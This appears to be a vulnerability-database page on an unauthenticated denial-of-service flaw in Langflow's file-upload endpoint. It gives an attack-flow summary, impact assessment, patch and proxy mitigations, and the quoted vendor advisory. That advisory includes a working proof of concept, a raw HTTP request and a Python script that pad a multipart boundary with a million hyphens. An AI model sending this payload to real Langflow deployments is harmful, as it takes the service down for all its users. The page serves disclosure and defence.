Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify reachable Langflow instance
-
DeliveryCraft multipart POST with oversized hyphen boundary
-
ExploitSend to /api/v1/files/upload/ unauthenticated
-
ExecutionWorker stalls parsing malformed body
-
PersistRepeat to sustain outage
-
ImpactService unavailable to all users
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions - remote unauthenticated exploitation against default configurations of Langflow versions prior to 1.0.19 that expose /api/v1/files/upload/ over HTTP. The attacker needs only network reachability to the Langflow port (default 7860); no account, session token, cookie, or valid flow UUID is required because authentication and flow-ID validation occur after multipart parsing in the vulnerable handler. The only practical limiting factor is network exposure: deployments where the API is bound to localhost or restricted by an upstream proxy/firewall to authenticated users cannot be reached by external attackers. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (base 7.5) is consistent with the description: a single unauthenticated network request causes high availability impact with no confidentiality or integrity loss. No EPSS score or KEV listing was provided, and the issue is not in CISA KEV, so exploitation is not confirmed in the wild - but the bar is extremely low: the advisory ships a working Python PoC, the trigger is a one-shot HTTP POST, and any reachable Langflow instance below 1.0.19 is exposed regardless of flow IDs or accounts. Real-world priority depends on exposure: internet-facing or multi-tenant Langflow deployments should treat this as urgent because a single attacker can keep the service down indefinitely, while isolated developer instances behind authenticated network controls are materially lower risk. No conflicting signals were observed between CVSS, description, and patch diff. |
| Exploit ScenarioDerived | An attacker who can reach the Langflow HTTP port sends a single POST to /api/v1/files/upload/<anything> with a multipart body whose closing boundary is padded with ~1,000,000 hyphens, using the public PoC from the advisory verbatim. The FastAPI worker spins on multipart parsing and the application reports 'server is busy' to all users; the attacker simply repeats the request to keep the service down indefinitely. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 19, 2026
Unauthenticated denial-of-service in Langflow versions prior to 1.0.19 allows remote attackers to render the application unusable for all users indefinitely by sending a single crafted POST to /api/v1/files/upload/ with a malformed multipart boundary containing a very large run of hyphens. The upload endpoint processes the multipart body before performing authentication or flow-ID validation, so no token, cookie, or valid flow UUID is required. A public proof-of-concept is included in the GitHub Security Advisory GHSA-qwqc-p3q8-wcg9, though there is no public exploit identified beyond the PoC at time of analysis and the issue is not listed in CISA KEV.
RemediationAI
Vendor-released patch: upgrade Langflow to 1.0.19 or later, which introduces the check_boundary middleware and adds get_current_active_user plus a 403 flow-ownership check on /api/v1/files/upload/ (see https://github.com/langflow-ai/langflow/pull/3923 and advisory https://github.com/langflow-ai/langflow/security/advisories/GHSA-qwqc-p3q8-wcg9). If immediate upgrade is not possible, place Langflow behind a reverse proxy (nginx, Envoy, or a WAF) that rejects requests to /api/v1/files/upload/* when the Content-Type boundary parameter does not match ^[A-Za-z0-9_-]{1,70}$ or when the request body exceeds a tight size cap (a few MB), and require authenticated proxy access to the upload path - the trade-off is that legitimate large file uploads may be blocked by the size cap and any custom boundary characters used by non-browser clients will be rejected. Network-restricting the Langflow UI to trusted users until patching reduces blast radius but does not eliminate the DoS for any user who can reach the endpoint.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Langflow is a Python/FastAPI-based visual builder for LangChain-style LLM workflows (pkg:pip/langflow). The vulnerable code path is src/backend/base/langflow/api/v1/files.py at the upload_file handler, which delegates multipart parsing to FastAPI/Starlette before the route's dependencies enforce authentication. CWE-400 (Uncontrolled Resource Consumption) applies: the multipart parser walks an attacker-controlled boundary trailer (e.g. a million hyphens) using CPU/memory proportional to the payload, blocking the FastAPI event loop and starving the worker so the UI reports 'server is busy' to every user. The fix in PR #3923 adds a check_boundary HTTP middleware in main.py that validates the Content-Type and rejects boundaries that do not match ^[\w\-]{1,70}$ (per RFC 2046) with HTTP 422 before the body is parsed, and also wires get_current_active_user plus a flow-ownership check into the upload handler to close the unauthenticated and cross-tenant access vectors.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Single unauthenticated HTTP POST over the network with no user interaction stalls the worker, yielding high availability impact only and no confidentiality or integrity loss.
Primary rating from Vendor (https://github.com/langflow-ai/langflow).
CVSS VectorVendor: https://github.com/langflow-ai/langflow
DescriptionCVE.org
Summary
An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain
DoS in progress!
------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>Here is the request in python:
import requests
url = "http://127.0.0.1:7860/api/v1/files/upload/test"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data = (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"DoS in progress\r\n"
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)The app will then be stuck in the "server is busy" state for all users:
<img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05">
Impact
Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.
Patches
Fixed in 1.0.19 via PR #3923. A check_boundary HTTP middleware was added that validates the multipart boundary (^[\w\-]{1,70}$) and rejects malformed requests - including the oversized-hyphen payload - with HTTP 422 before the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (get_current_active_user + 403 on mismatch), closing the unauthenticated access vector. Upgrade to 1.0.19 or later.
Executive ViewAI
Langflow versions prior to 1.0.19 contain an unauthenticated denial-of-service vulnerability (CVE-2026-55446, CVSS 7.5) with publicly available exploit code that allows attackers to render the application unavailable with a single request. Organizations using vulnerable versions face immediate risk of complete service disruption. Vendor patch to version 1.0.19 is available and should be deployed immediately.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-38515
GHSA-qwqc-p3q8-wcg9
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB